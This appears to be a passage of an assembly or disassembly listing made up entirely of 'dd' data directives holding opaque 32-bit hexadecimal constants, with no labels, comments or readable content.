dd 0D94F452h, 0AF260FC6h, 7C02B247h, 80CE2577h, 5EC3A7C0h
dd 3790CD1h, 432975E5h, 0CD712284h, 440808F3h, 0DC442F7Ch
dd 0DBEB44E0h, 0BFF84D89h, 0B19E2C93h, 7D57005Bh, 27BB83B7h
dd 6D940800h, 4189B573h, 5C76001Fh, 5C4E8EFh, 827BBE45h
dd 0BDFB0200h, 0D9A82E1Ch, 26220088h, 5E7A1467h, 0DC00537Fh
dd 5156DFFCh, 7E3EF0h, 0ECD03AC0h, 0D817B937h, 184FCA00h
dd 7560E8DEh, 1D040A43h, 0F16110h, 0F2EA08AFh, 0DE009FEBh
dd 0B3442AD8h, 462736h, 37EF7D5Eh, 82ACDBEDh, 420F3F1Eh
dd 1318051Eh, 0DAF469h, 11E6CE6Ch, 0B8E0A850h, 4459DF00h
dd 0C07D6792h, 3ED0120h, 5B04F2FAh, 0F551F4C8h, 3AF45900h
dd 0E9FBFD66h, 0D9420EAh
dd 92B8C706h, 5E0076Fh, 0DA29648Eh, 0D143C075h, 1907F5ACh
dd 0CF2D5F0h, 2B22C0CFh, 6DB01Ch, 0A19C5505h, 0C013ADAEh
dd 0D300EF7Eh, 5FED5D4Fh, 0E5DF44h, 77C9099Ch, 0BAB9F721h
dd 8017B43Eh, 2B99D167h, 601F9Dh, 87225BF3h, 0D32C91Dh
dd 9EA0B00h, 749AB514h, 979600F5h, 9F7F2127h, 3209F606h
dd 0F8406899h, 0DF031E2Eh, 8A43006Fh, 14D935BCh, 2A103600h
dd 0B1F69C2Dh, 1FBAFE1Eh, 80F7D396h, 56D2AA50h, 0A00AD48h
dd 5365979h, 7A1EC5h, 16DDC1B7h, 3DED6A02h, 0C2279E03h
dd 0A8333909h, 5C6C542Ah, 0B8008A97h, 0B471C8DAh, 4C0A5E07h
dd 0A8388D53h, 32DD4403h, 75C8C8DCh, 3B97E0A9h, 2338D5DEh
dd 2D8B9580h, 8618114Dh, 8500B3F2h, 0ED50D44Ch, 0B57116h
dd 59FA8DBBh, 0A2BCE755h, 27E0CE4Eh, 5D6D00EBh, 0A0797DD9h
dd 0AB3ED557h, 2E00F81Eh, 0D40FE273h, 666DE7h, 0D69E312h
dd 54DCF1CBh, 0C93938h, 0E2B04341h, 2A05C5h, 0FF6F4A37h
dd 53FA44B2h, 0B5979800h, 43FDC7B1h, 156A0160h, 2F063CC4h
dd 2E45E031h, 5F2A6F00h, 6E1D3DEAh, 0E202004Ch, 0B7E66661h
dd 0EF009BB4h, 5234CAF9h, 773D426h, 68482088h, 0A9F1E0D6h
dd 0AB24C17Ah, 0DC009CE0h, 862A01CBh, 0F44F0088h, 320994B2h
dd 42007EFEh, 0FCDDDEBh, 0CA2C5Ch, 0E36E58D7h, 4B3DB9A1h
dd 5B006B72h, 80C641FEh, 848B32h, 3127FCBh, 0E6CFE1DBh
dd 4201C492h, 9F3BCABDh, 0D055801Fh, 0F84EB380h, 956C001Bh
dd 0DAD067F5h, 550004E5h, 48DF897Fh, 0CFC24Fh, 32741FC5h
dd 2D34B546h, 0BC9B5017h, 100003ECh, 0D41B2C53h, 917D462Fh
dd 0F4008577h, 4B0E8B26h, 78C4ACFh, 302B3C7Eh, 0BB4CBEC3h
dd 3E00219Eh, 86FAC787h, 73B8DFDEh, 0A3F005Eh, 0CAC9D5E8h
dd 2A1CF281h, 0CBC00745h, 487A9237h, 0B7892B8h, 0D727E4ABh
dd 0BDE36C00h, 0F0F7C98h, 0A32B635Fh, 8036791Eh, 3A46F2h
dd 0A2175DCEh, 0BAE18E9Bh, 1C4AE200h, 0D99D8D29h, 693004E3h
dd 80EDC9F0h, 2FA7B578h, 26AF018Ch, 0A8980BF7h, 1C7D09Ah
dd 7B8ECE00h, 612E6AEAh, 97F028F9h, 0C8472ACh, 4B31E098h
dd 0F400E6A8h, 201E7327h, 9ABA29D1h, 81700838h, 3BB95AA5h
dd 3AEC0196h, 8F4EEA47h, 7FFFF8h, 56584160h, 0C762EDA1h
dd 9636F104h, 0A9C0C6C8h, 1C338h, 0D63F55A6h, 3CD84A8Dh
dd 0AB099879h, 10E606h, 1FE5F896h, 0CE8F00EDh, 0CB18DA15h
dd 0D900B66Eh, 0F73BE42Ah, 0B21D37h, 2CC7106h, 0CFB9A9F6h
dd 9E4C2206h, 41E0EABh, 8F4A6E5Eh, 0C85C83E2h, 893EF800h
dd 5788EA74h, 0F7EA42h, 6E0D78B1h, 0F17A44E2h, 839E2F1Fh
dd 0CE688A40h, 6A935h, 0D277A7D7h, 3D4CE272h, 6724927Eh
dd 0B5845C8Eh, 702C93E3h, 0EC2A3F40h, 777E5Dh, 235FC0E3h
dd 0F5617EE0h, 72C46900h, 1D71C30Bh, 0C9900C2h, 0DDE5AB8Ah
dd 0E700C9E1h, 0DB3F5711h, 73937BFh, 0F7F284EBh, 2F080C2h
dd 9C3CB7B6h, 0E4FE260Ah, 764D4400h, 3D33F9Fh, 5CECBA58h
dd 88E13156h, 0E4A8D864h, 6BDFB502h, 0C44BAAC2h, 5E510080h
dd 0E5A51158h, 7F00B267h, 0DACD7472h, 0E25AFh, 8A1BC8C9h
dd 0E047CAFEh, 5E53B000h, 52147EECh, 1E3000FFh, 0D684B4F2h
dd 0F139926Bh, 0F2580DAh, 89343FCFh, 28838AEh, 40E8689Dh
dd 0D55E0863h, 0B00ECE1h, 70D89B12h, 571ACEh, 0FB07DFF5h
dd 43E56F42h, 9EE49A00h, 0AD97DA04h, 0B079003Ch, 9DEC0125h
dd 94002E27h, 0DA5615E3h, 3CD2F21h, 0A31ED8F9h, 0C1D0244Bh
dd 0B20396E4h, 996C613Ch, 2503D869h, 5DFE89h, 7F128CBDh
dd 2E0748E3h, 7DCA342Ch, 0D5D3B200h, 75B68EAh, 0F2B7CDEDh
dd 0DF3E9073h, 0CF03F87Eh, 996B80BFh, 8228A9FEh, 0BA000873h
dd 23B5B2Dh, 5E505010h, 430016C0h, 0A451E6DEh, 901FE92Bh
dd 4001591Ch, 911EA30h, 620050A6h, 4FFF3F13h, 115AC11h
dd 1C69530Bh, 9410573Ah, 0A7D828h, 55843B20h, 0C0CF5A61h
dd 92DEEF7Ch, 5000FEECh, 0FFC6F8F5h, 2EB88671h, 809C8498h
dd 3CFA08A9h, 0BBF60663h, 0F5839300h, 177A6E3Fh, 7F18786Ah
dd 3ACD0E94h, 7D4066E2h, 0FA0D80F8h, 0D59FBA00h, 0DD26721Eh
dd 3F8B147Fh, 5603D8CDh, 9E0A11BFh, 0D093D4D8h, 87C2609Fh
dd 15530F97h, 0E1A09828h, 0A59C5EFDh, 731BE800h, 9BE2BD2Fh
dd 0E7D179Eh, 0BC604066h, 3B2E7CD5h, 0A34684Ch, 0B05E95B2h
dd 0ABBF8349h, 0D7E6E0A4h, 7F380378h, 76904B3Ah, 8A200398h
dd 0BF8951Fh, 503835Fh, 0C8A799FEh, 7DA1429h, 9B885387h
dd 9860C067h, 4E3F4A10h, 7F9A01F1h, 3BE102C3h, 38718BDCh
dd 3400A1B6h, 0D96E8CAEh, 0A2007836h, 7A06C7EAh, 0ECF4211Ah
dd 0BA0A005Dh, 5894C454h, 751FB6E4h, 0F0004E8Dh, 0C96FA053h
dd 795E008Bh, 0FFBCAC28h, 0AA074AE7h, 0DE5CBDC4h, 1944D1B0h
dd 2438FA5Ah, 9CF96Ah, 0D6E94E32h, 0A1267F71h, 0DF1ECC5Eh
dd 9EC36600h, 0EC0822h, 1FBE2A9Ah, 697589AAh, 0AC47A92Ch
dd 0D0709300h, 9DA9B36h, 85908BBBh, 2C965C81h, 0CC11ACBAh
dd 9F40821Ch, 418ECB7Fh, 544AE08Dh, 6034E855h, 745108D9h
dd 2C1D2AE3h, 461DEC8Dh, 97D60205h, 17E1003h, 0C9A10145h
dd 0CFACB985h, 0D073D17Dh, 22507E76h, 9E54D710h, 0E28CEB2Ch
dd 6FFC3D1Ah, 65D77981h, 0C0BE19B9h, 0A8F0A72Ch, 0C88EB600h
dd 636926F2h, 0C3760755h, 43D9D52Ah, 79882E4Ah, 0E00329CDh
dd 2158D01Eh, 8C1803C2h, 0F8D85EA3h, 0BC6D6E90h, 6431AC01h
dd 95D7ABB9h, 931C4840h, 7E2F142Ah, 0EF005823h, 31D1F164h
dd 471EEE13h, 0DDC028CBh, 0FF1C8C45h, 4DC9000Dh, 80D225C4h
dd 0C80095BDh, 0C5889415h, 3DA1501Bh, 0BA6082EEh, 99E6B339h
dd 0F7AD3C00h, 797D304Ah, 509FECFEh, 0BA9DF8h, 7A0D175Fh
dd 0E0B65942h, 2245CF00h, 0F013D9Ch, 80D500A9h, 7C897B39h
dd 0A7744F06h, 7EA5C60Ah, 0F487DC88h, 0BA40B1C4h, 389C2Eh
dd 72B4EF97h, 8768D13Bh, 0D525E306h, 2314CC1h, 63F675EBh
dd 0B48233C4h, 1460669Bh, 203F7E52h, 0DFF40E14h, 9CC0D26Eh
dd 54F9952Fh, 0FC649094h, 8C73F98h, 7F21B381h, 0DC044469h
dd 0CD005D8Bh, 7602640Bh, 0B0B7AED7h, 4EA306B7h, 814AC0CEh
dd 9D46F139h, 809E067Dh, 1F7E9C40h, 71D8A039h, 1EC13CD7h
dd 1666340Fh, 0F502D414h, 0E7C0F3E5h, 1CEE7D60h, 3D0075B0h
dd 3C6EF775h, 1CD7977Ah, 0BF30D92h, 0D95C2570h, 405A4B00h
dd 31ADFED2h, 708185EFh, 47B0FBA5h, 0EB003C18h, 15A2C752h
dd 3543E2Bh, 0AA31AB05h, 0F8904375h, 1C00CF24h, 0BED7329Ah
dd 4A2FFECh, 9FD60B4Ch, 0C2490FEh, 5260E764h, 168FDC60h
dd 0B84660C9h, 0CF53E078h, 3289C601h, 0CB4044EEh, 16518980h
dd 1CA1316Eh, 0B268731Fh, 0F8F259C0h, 0E9042BFh, 55DF18FFh
dd 0B069A380h, 0DC3B03AEh, 0FA578666h, 8F11E6E5h, 56BF6104h
dd 6E1080D0h, 0CFAE6048h, 6F180084h, 0B18D03B3h, 0B2004F59h
dd 0D6FDECBFh, 64E36DC1h, 47142962h, 8A804B25h, 0D5A61Dh
dd 0C7930A10h, 0FE591462h, 9AD93107h, 7A08CB9h, 7E9F77h
dd 49C9838Fh, 6FBC6B61h, 4F452A03h, 0C0E7DE48h, 65F363h
dd 57D1C251h, 7FD8950Ah, 147E2C26h, 0D6F2D900h, 2C73F01Ch
dd 7CE929Ch, 2075D587h, 57F69DABh, 4C856D0Ch, 0D3307Fh
dd 16241254h, 0EEF7AB40h, 0E532F800h, 4DA2202Eh, 0C788A8A9h
dd 53424ACh, 0ADF800A3h
dd 0DFDEEA9Bh, 0DC263300h, 863FB912h, 0FFBA1CC8h, 801BC027h
dd 0E80D4B7Fh, 5A482C00h, 0BB34DB7h, 8AC3005Bh, 429F3239h
dd 7C0006E6h, 0A5D865A0h, 30030728h, 1811AF0Ch, 1473F8F7h
dd 6E002070h, 0F0CCD2E9h, 0A3B0D9h, 9A11E267h, 0C2F25DBDh
dd 69543403h, 98ABF4FFh, 5C35B5FEh, 680017DFh, 63DC464Ch
dd 210EC081h, 20D3EB0Ch, 6EC47A37h, 75360042h, 1112C9E7h
dd 0E000553Bh, 3E5170Fh, 0F0EB4Ch, 6C47BCF3h, 0E7332C87h
dd 4EB44B07h, 35D0F89Dh, 1C6DC5A9h, 803F1718h, 62F0A36Eh
dd 34030A47h, 58E60514h, 9C87F0E8h, 4FED2803h, 0F73118E0h
dd 0E7D25661h, 0FBB889FAh, 5958BF00h, 878C769Dh, 0A78D00A3h
dd 92D87119h, 0F4003F63h, 0E0B949E6h, 0DCADB6h, 0EFDA3D0Ah
dd 1ED8A37h, 1ED0091Dh, 0A50DF902h, 8CE080E5h, 9776B7h
dd 0B96C035Bh, 7FAEAF74h, 1CE23339h, 0AC41A58Dh, 0EBBF9D5h
dd 58005022h, 2406BAFFh, 0FA0095B9h, 18DBB863h, 74016927h
dd 31F8BD2Fh, 0F7E41650h, 0A2A51400h, 7BF7453h, 0DD390F2Ch
dd 465F4A5Eh, 0B8E7DFEDh, 44CC5900h, 8371C91Bh, 0A8410165h
dd 3220EA94h, 268C4064h, 5600F3A6h, 0EF73F70Eh, 482C9FA2h
dd 950B44D4h, 4B00D991h, 1B1D0B60h, 8B4B350Eh, 8AB40045h
dd 166F80Eh, 0E4D333F6h, 0CC506F87h, 62035772h, 38E08B5Ah
dd 2BBDF0ABh, 0F0AE243Bh, 9DD5007Ch, 1970F664h, 8853B780h
dd 0D0A449BDh, 42C658h, 8D2193BFh, 694A041h, 0F2B70E44h
dd 990748F4h, 4AD59575h, 0B0D3E260h, 1C4726DFh, 3DFD00ADh
dd 0A17B5010h, 0DC002C90h, 9992B91Dh, 26218D9Eh, 0F76184h
dd 35A649D2h, 0A8040624h, 37501A2Fh, 0ED7DC880h, 9BFE006Ch
dd 0C5D2695h, 0F8007928h, 0EC52DEB1h, 582D73h, 0E033FE7Ah
dd 530BE787h, 9E0A1C3Dh, 0CF404FB5h, 0BFA3399Bh, 0E30139DCh
dd 68D59400h, 0B083C636h, 224CBCF8h, 37DA0057h, 1F03A4CCh
dd 4AD200ADh, 939843E1h, 0CA1DB28Dh, 0E7C552ABh, 9400D5F3h
dd 1CE4EE2Eh, 0A2E90080h, 7C26C6B4h, 0AF5E68F4h, 89009085h
dd 0CA190E1Eh, 8CC90060h, 0C79F91D6h, 0E60033DCh, 929E8B87h
dd 0F47BC8h, 4895F3FDh, 7EBA13B9h, 0EBF93000h, 75C19327h
dd 907224CBh, 0D7A58B04h, 9C40F180h, 0CD0788D3h, 8C15FBC2h
dd 95891E40h, 5BEA3AA4h, 0B2BFA200h, 734ECA64h, 0D8B61A0Fh
dd 0E5282070h, 128239AEh, 0FF2B90Ah, 1940ACF0h, 4037A927h
dd 15B4BD00h, 796AE3CDh, 0ED293EA8h, 41A1F689h, 48937400h
dd 0D800CD01h, 7C49831Ah, 2127EE8h, 0D63C21DBh, 28486FCCh
dd 498448F0h, 5400F89Dh, 0D1C80935h, 8700A286h, 0B6CF136Dh
dd 0F8271EFh, 8E586A52h, 0B5BB4660h, 0F1009936h, 0FD19BDA9h
dd 743C2B61h, 24D558B7h, 108E007Fh, 56A8BAF6h, 0E0BF40C8h
dd 0B51D17Fh, 0DAAA682h, 0A9156C80h, 671CF0C0h, 24C175AEh
dd 28E15E59h, 0F8931DE0h, 5BFC9Dh, 0C1CC8F57h, 0E2DD3D87h
dd 45AEEC00h, 9EE46F51h, 282202B8h, 0E7F5555Ah, 50F99CC8h
dd 8B917C09h, 62FE03F8h, 84AE0043h, 65078F63h, 1E077555h
dd 0B4A7044Fh, 24A5321h, 3AE660E2h, 545928ACh, 0F44C9008h
dd 63860356h, 67975D03h, 0B6A75CB0h, 2A41648h, 52C9B92Fh
dd 305160B8h, 4DEB028Fh, 0D83F4EE9h, 15BE8C8h, 7199B501h
dd 0B99F7847h, 0FCD0A5D1h, 92157165h, 4950BC8h, 670333D0h
dd 40D7668Fh, 9244487Bh, 0AB67C916h, 18F1D40Ah, 1863EA00h
dd 0D09958Fh, 0BACD54E7h, 6B618018h, 9866CE5Ah, 7D8907FAh
dd 2911E7D9h, 0F96E0420h, 28004E15h, 4063628Fh, 7A4DE490h
dd 0D9D4310Eh, 41AE65B9h, 80AA3374h, 0CF5F0698h, 1EF2DC0Dh
dd 8061A535h, 18B76B4Ah, 0DD0090DAh, 0D7203C86h, 2EA7EBh
dd 87E86C1Ah, 7149E5CBh, 0EE77CF00h, 0CEEBC24Ch, 0AF1E00F4h
dd 13700127h, 1B009945h, 0E7C645Fh, 17EFF5h, 67E3A4A1h
dd 852468Fh, 93EE1F00h, 185CDA9Ch, 0E770FD32h, 33DE0074h
dd 0CD49B81Ch, 0C756041h, 387C9CA0h, 1B8BF300h, 7A2380EBh
dd 614C0F07h, 5FFCF9B5h, 0FC608EC5h, 480E18C2h, 0D2C8B087h
dd 2840EED0h, 7F126786h, 3043B084h, 501B61BCh, 1DE72CD6h
dd 29BA5B55h, 0E9730094h, 25CE6E1Bh, 134FEF00h, 0C3996328h
dd 0D58C5A9h, 5CE04012h, 0E2CE182h, 28F69516h, 0CC78AC03h
dd 0C9881001h, 66DC1037h, 7EC15688h, 5BFC8B1Bh, 0B74486BAh
dd 1BFA9Ch, 0CB46A164h, 2E8DA8A5h, 6495D00h, 0C1B240D8h
dd 18087320h, 2CEACFABh, 6501241Dh, 427A9E0Eh, 2882DBDEh
dd 0D580E50Ch, 0C6003C44h, 9F7BA771h, 6AF3031h, 0B0478AE7h
dd 5B0721AAh, 0D5EA779h, 40C6488Ch, 253DED78h, 0F0380086h
dd 45CF2A0Eh, 0BC5F000Ah, 0F8BCB2Ch, 0D048DFAAh, 47DE00B2h
dd 0DCD5BD24h, 8699004Dh, 91301A9Dh, 405870F9h, 9660743Ch
dd 9D078021h, 727CC1h, 67B3F2ABh, 0E3926D9Fh, 0B94DDD01h
dd 890FD1D5h, 51E83186h, 0EB0018DBh, 5F641EF3h, 2E3634A6h
dd 18B8240h, 3C0ACAD1h, 8A21CCBEh, 0DDDCEF1Eh, 0B94039D8h
dd 331500B5h, 0D01756A1h, 9CD5E95h, 4CFC2144h, 0FE640033h
dd 4BCA23B8h, 0CBFC71BEh, 881B4830h, 338E4C42h, 0FCA1D98Dh
dd 5F01FEE0h, 39751A06h, 8008B257h, 1C31D10h, 7E66FBFEh
dd 205BF4D1h, 0A90184A7h, 0D3CEE406h, 0E180B997h, 0FEAA4A46h
dd 0E11FCBDDh, 20F65406h, 6A3E1018h, 1A608DCh, 0FDB820C0h
dd 9C041318h, 0F7C9301Fh, 4B21E532h, 48C49D84h, 14A56612h
dd 20CD0CBh, 106E013Bh, 0E63E0365h, 0B2871052h, 5DDA90AFh
dd 7B0019D4h, 0B01D4455h, 3AE5D54Fh, 723D50C6h, 85D41F80h
dd 80493682h, 5F004FE8h, 4622737Bh, 0CA39111h, 151B1F02h
dd 1E607F28h, 0B1ED2631h, 0C6801373h, 0CC6A0314h, 86D80C56h
dd 2C646D39h, 0E4401131h, 0A7CFFA6Eh, 0EFF0367Bh, 4801BA01h
dd 0C783229Bh, 18589194h, 28EA201Bh, 817DB01Dh, 0E1A06D1Bh
dd 10B174F3h, 0D262A730h, 3136992Ah, 0B76544D1h, 1AFED07h
dd 512F828h, 0E2C37551h, 16646272h, 374018A9h, 5690C2BEh
dd 68A61136h, 3FEF0719h, 40AD93FEh, 5315ACD1h, 204760CCh
dd 0E07E1C22h, 31EBD9E9h, 1A8470F3h, 5F03FCF6h, 3E4E232h
dd 6273B8FEh, 397D4Ch, 1401025Bh, 5CEE4256h, 783650CFh
dd 0E2E7B9h, 879EE845h, 58960B3Ch, 266E18C3h, 22E9069Ch
dd 0A8E0C3CDh, 0D8612AF8h, 6AC1D919h, 0DE35498Ch, 0A7744420h
dd 1D27380h, 847A0EF7h, 489AE120h, 8CF15FA8h, 415236C1h
dd 4DC400DAh, 33199240h, 7E58AFEFh, 212450F9h, 0DF065CF0h
dd 0E1B390D8h, 77350E48h, 7881EEBEh, 45C5150h, 117CE863h
dd 7D9128B1h, 14DC6354h, 6AB44Ch, 752AC49Eh, 60565E9Fh
dd 36B37166h, 48C08183h, 23FA8E15h, 609F3A69h, 0FE614700h
dd 2A09C16Eh, 3649120Eh, 0C9664CC9h, 56340133h, 0B8920CCBh
dd 0CCA053EEh, 84A5F8CEh, 0CA558980h, 9A7F11h, 0DB0DFFEAh
dd 845C88D6h, 724420C5h, 110F9C41h, 65FC5D8Fh, 7B520462h
dd 80913B3Eh, 3735F91Ah, 0B2A34B00h, 0AD0121D2h, 60257B95h
dd 2AC2C98Ch, 46004537h, 0D387A69Eh, 2605D0Eh, 0E3F8EC5Ch
dd 0D844DF17h, 0A940152h, 0DCAAFC20h, 63505B43h, 0DB881019h
dd 7ED700E4h, 0CE1D18h, 1427FDBEh, 0B988A60Fh, 2F8920C9h
dd 1C329228h, 6E3414E5h, 9842592Dh, 0A4CECFB3h, 0D08D93A0h
dd 4E214888h, 3440A613h
dd 9BE48FE9h, 0A4CF12CBh, 0F45F5Ch, 92B4CE23h, 59C1ED2Ah
dd 3C82D201h, 622F46F0h, 0E4D96135h, 2885C892h, 0CF7403AEh
dd 5124566Ch, 0B030447Ch, 45990A6h, 5C05576Dh, 0F339810Ah
dd 0D14C24DFh, 0FC86A601h, 533EAC79h, 0F018E456h, 77C90241h
dd 0A1FD29F6h, 1E03AC90h, 7E400C91h, 7A5159E1h, 22AB03EEh
dd 54CDB08Fh, 802F9828h, 0AC387C50h, 14806949h, 1E10D413h
dd 897EA6E5h, 81FFDC5Bh, 0D675E12Ch, 6044E424h, 0CA2E818Eh
dd 0EF00F738h, 6BBAEAB8h, 3FC64822h, 1B06FA7Fh, 58454D37h
dd 6497D91Ah, 26AC85A1h, 0A422C44Ah, 8FEFA68Fh, 0C1CFE241h
dd 0E0C49365h, 3177D10Ah, 20A9B6C6h, 21B033D2h, 9EC89156h
dd 0D073E013h, 4CCC846Eh, 0DF4B144Ah, 14D28825h, 3A5105Ch
dd 0E3795A04h, 81ABC9E9h, 0A2A10779h, 0A8A28917h, 6CF34820h
dd 894D7F86h, 55CEF501h, 0D99C4178h, 0C6CB5DD4h, 5198DBA1h
dd 39C98879h, 29C5001Dh, 3E7435E1h, 3B805EBCh, 0E36B4DD4h
dd 0B9241037h, 39940C7Fh, 70A12224h, 60089172h, 0B38BF11Ah
dd 0B90318E6h, 53721B9Eh, 0D42951A1h, 0B3789408h, 87350628h
dd 29029983h, 0CE2C5F8Eh, 0A15C40F9h, 0B5680D57h, 107950F6h
dd 3446829Ch, 39908631h, 74E85059h, 0E26CE261h, 26EABFh
dd 2443DA78h, 29C3288h, 9AFC960Bh, 0F414108Ah, 36228873h
dd 1CB66744h, 40EAB902h, 1B5BE8B7h, 8600D491h, 59F36BBEh
dd 502FE7h, 535C5A8Bh, 4E376EBAh, 0F83408C0h, 1EF2478Ch
dd 196F7C85h, 10422141h, 11051A6h, 0F805A044h, 0FCA340DBh
dd 58021D43h, 715DFB79h, 211C816Eh, 48869288h, 78CAA150h
dd 2A0048F8h, 9026AF2Dh, 3F66DBE7h, 9102F962h, 0B138E9F3h
dd 995145E1h, 0F0087E39h, 378FD8F0h, 0C060CFACh, 73D2D4F5h
dd 1400E9FCh, 42ABD5C7h, 31FE39F1h, 28E80DB5h, 24B8A289h
dd 0F19499C0h, 1139DC04h, 6DA4E0Bh, 599C37EEh, 6C38F830h
dd 8B8919C8h, 981F6429h, 0B9FF08h, 4D730DCh, 0D5EAF13Fh
dd 1341BB0Dh, 0F4D7F035h, 94C32D00h, 5400A4ACh, 0CC33D180h
dd 3F3268Ch, 2CF07117h, 5930D095h, 2D53B108h, 1857FAA1h
dd 7847B0D1h, 0C63DCD5h, 7C5AD21h, 8B2115D9h, 2FC7D00Fh
dd 0EE705AF0h, 5E84B511h, 609C6E28h, 5BB2C983h, 0C1053F48h
dd 0BB13ABB9h, 518D413h, 6F5E8B51h, 8A86E959h, 0A13019BBh
dd 0A38D51F3h, 529C31F9h, 8576031h, 5AD14489h, 54A1E740h
dd 888438h, 96DD0EEAh, 3BB907D4h, 0B5014FE0h, 0E0E1B60Ah
dd 488C53E6h, 75122FFh, 396B4500h, 5D2BEB5Eh, 58D4492Ch
dd 0A381B5C0h, 0F6500925h, 0A4AE7480h, 0D3062E00h, 5D9866F8h
dd 1F61C88Fh, 0AF81329Ch, 75C2C9EFh, 2B2A80EFh, 1989FC43h
dd 0B8366B70h, 0EBC99DD6h, 63470020h, 0DE493FBh, 97051E62h
dd 0C22D90D5h, 645B8848h, 0A8F608Ah, 4987F33Ah, 0B1761969h
dd 5414DF39h, 0D4BF11C4h, 3D665A0Ch, 0B1746749h, 0A6AE0E00h
dd 8A9B483Ah, 4EBC1F4Ah, 0FBEC090h, 5E8F0A78h, 24601D49h
dd 2C0050FDh, 0F0D53BF3h, 0EE540471h, 9258FA2Ah, 3C144F70h
dd 2C402E46h, 5A0C5350h, 22A4F848h, 2A9098BBh, 32B0A2A0h
dd 9A19B8A8h, 27EDFF40h, 43CE9603h, 28687EAh, 0A87E94D9h
dd 38449DB4h, 6F7BD210h, 0A50E1053h, 64600A08h, 0DA9C3687h
dd 7EB94D01h, 62A38432h, 0BA529D40h, 70C9B82h, 9004A803h
dd 1B838A93h, 73C5B49h, 4CAD845Ah, 0D375F71h, 4FA6B19Fh
dd 0EFE0AF05h, 942BB72Fh, 0BE071602h, 0A023FF58h, 6D0433B8h
dd 2FED03AEh, 28C954CAh, 9F8BB0D9h, 95428E20h, 4927E764h
dd 66105C28h, 5B02DD59h, 51756D6Bh, 0A254A42Fh, 0E308C8h
dd 84675A07h, 37B9CC72h, 2CC77900h, 927D28A5h, 1D540026h
dd 0AE19474Ch, 0E61DF6CCh, 73CAC68Ah, 3804A024h, 53408BADh
dd 20BD1ABh, 66CF1000h, 883A767Fh, 0ED682823h, 358E1598h
dd 3E00809Ch, 4E980DC2h, 773EE80Fh, 8062385Dh, 0B245DF5Bh
dd 1EC359Ah, 0D5593FFAh, 23B9F3A8h, 4371828h, 45C349h
dd 93C633C1h, 0FC1F4D69h, 5470AB26h, 4606A088h, 8C01A983h
dd 82F180B3h, 9C52786Ch, 8F37201Eh, 0AC003659h, 3050D013h
dd 24AE3B17h, 684867DFh, 0A0FDC1FCh, 56024DCh, 10CC4200h
dd 9D19BB6Dh, 54D60632h, 697D13AFh, 925044h, 0B993B65Fh
dd 47A1E446h, 4FEA2800h, 6A41BE3Ch, 0BBFE10CFh, 0DB2050BAh
dd 0A84949h, 0DF1693F0h, 90E87781h, 0DA4F22E4h, 9717EE04h
dd 9CCC518Bh, 4116F9D0h, 803C7458h, 86221A37h, 4210A4BBh
dd 78391741h, 98E43115h, 836FAB50h, 1BD46852h, 0A420F72Bh
dd 482D898h, 0D9C973B6h, 98B884A4h, 7B382B98h, 0B766731Ah
dd 6738B199h, 4BD269F8h, 5C029832h, 0B8AA0B0Ah, 0D019C078h
dd 632F8260h, 1A35CECh, 8D8E763Ch, 40007240h, 18C35A28h
dd 26C7390Ah, 0E0ACE749h, 61AEB740h, 0E33AF600h, 0B696121Eh
dd 351920E8h, 8D2C7243h, 0BC425234h, 0F3026046h, 0EDDE476Ch
dd 59CC11Ch, 6FB0B10h, 4C989053h, 94897760h, 99FF9070h
dd 9B7D00BCh, 7515E62Ah, 5196F502h, 0E0F62D6Dh, 0E44738D7h
dd 0E8880ED0h, 0C094D128h, 410FF89h, 0AD071FF3h, 38632F66h
dd 31956C6h, 3116127Bh, 0C1EEEA75h, 91C470ECh, 0F123445Ch
dd 9C784388h, 26618261h, 0DCCD2D8Bh, 0B9E57CC0h, 0DFA23E58h
dd 0F4D6D515h, 21F034BCh, 0EABD188Ch, 5DE7005Fh, 0EB8F3848h
dd 0BE0481B8h, 532529F6h, 0EFD3401Ch, 5941D5C2h, 0F38F8212h
dd 0E9174C01h, 0F0A9B30Dh, 0E4E89514h, 6400DC22h, 0A3BDC59Ah
dd 1FFA878h, 93EB0C7h, 974FE0F5h, 0A0203660h, 0CCCA39h
dd 3D2556D9h, 0E2B4317Bh, 0C40E2A28h, 0B72144h, 121A73DEh
dd 9E2DA480h, 7D7AF61Dh, 0E96B630Ch, 18110039h, 8094D6FEh
dd 0ACA9C47Eh, 0A1C034B2h, 0D3744h, 0EA2A4F24h, 0E8C1A82Bh
dd 0F9E77C00h, 2E626D67h, 74354C9Ch, 0A7C07480h, 0B601C3F1h
dd 8E68D90Eh, 0C4313D4Eh, 30504C22h, 452A8443h, 0F88684F2h
dd 0EA27E302h, 4962F3DCh, 0E823D160h, 0EABC5E2Ch, 4B976020h
dd 3B134CEAh, 24286378h, 73B70629h, 914CD1CAh, 8C55E0A1h
dd 89DEA159h, 0B32E00A9h, 84BCF831h, 3801F468h, 1FD7C6Eh
dd 0F4268A87h, 691F0503h, 51381531h, 8824C57Ch, 89EC0990h
dd 18A2FC8Dh, 90518B86h, 518A5510h, 5CFE8388h, 618607CAh
dd 0A77E3901h, 691D240Bh, 30B948CFh, 0A038CC50h, 12593A1Ch
dd 3249EB99h, 6F26C870h, 95050031h, 0B507B6AEh, 5D4A8B9Fh
dd 3C857825h, 0F09FD4CCh, 1EA604F3h, 0C4E37F87h, 90C8D41Bh
dd 696CF080h, 68ACDE28h, 3F518D3Dh, 1AF38ED2h, 9E5C20B5h
dd 5CCA5232h, 758D64F5h, 8F3441B1h, 80C6E127h, 0E471C11h
dd 76AF72A9h, 84851297h, 0DB18448Dh, 0B9785806h, 39CF07EFh
dd 90596F1Dh, 3AF38EDFh, 9A37609h, 8D184846h, 3D6CAC97h
dd 0A60EF96Fh, 0D741E42Ah, 3233551Ch, 0D9144C24h, 0B08DA79h
dd 59DD2C37h, 8952D4C2h, 0B0B48864h, 24361409h, 98A46698h
dd 2AB000B7h, 62C98442h, 0CA006108h, 0B8D9CEF2h, 1E920C12h
dd 0C968390Eh, 0F88BEFC0h, 5719B8B0h, 0F0C5B83Ch, 9D0BCD00h
dd 4656330h, 3E44181Ah, 0AFD588F1h, 0C0254A9h, 8CA8EA3h
dd 0B06D875h, 829D914h, 0BB7E278Eh, 0A66330A6h, 7F298002h
dd 0DC301B9h, 0B6FD3B8Fh, 0ECE4D634h, 7D834804h, 3C89E1DBh
dd 2C111561h, 70103Ah
dd 0C9C112D3h, 81A895DCh, 82544810h, 0C37DB6E9h, 94C466h
dd 5604576Fh, 7B62256Dh, 66E49251h, 119600A8h, 0E84DBDDAh
dd 0B75F0F61h, 2E715C07h, 0E8E8C4D4h, 9C378384h, 0DF916B40h
dd 800334Ch, 8ABB5F38h, 3DB9C1CFh, 10F5BEF2h, 151A927Fh
